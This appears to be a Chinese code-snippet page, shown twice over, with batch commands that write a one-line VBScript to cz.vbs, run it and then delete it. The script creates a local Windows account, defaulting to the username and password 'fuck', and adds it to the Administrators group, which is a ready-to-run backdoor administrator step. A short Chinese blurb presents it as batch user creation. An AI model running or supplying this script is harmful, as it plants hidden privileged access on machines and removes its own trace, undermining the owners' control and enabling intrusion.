[代码] [Shell/批处理]代码
view sourceprint?
1
echo dim username,password:If Wscript.Arguments.Count > 0 Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="fuck":password="fuck":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"^&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os^&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os^&"/"^&username^&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath >cz.vbs
2
cscript cz.vbs
3
del cz.vbs
view sourceprint?
1
echo dim username,password:If Wscript.Arguments.Count > 0 Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="fuck":password="fuck":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"^&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os^&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os^&"/"^&username^&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath >cz.vbs
2
cscript cz.vbs
3
del cz.vbs
本文介绍了一段使用 WScript 对象模型批量创建本地用户账户的 VBS 脚本。该脚本允许通过命令行参数指定用户名和密码,如果没有提供参数,则默认创建名为 'fuck' 的用户。此外,该脚本还演示了如何将新用户添加到管理员组。
4328

被折叠的 条评论
为什么被折叠?



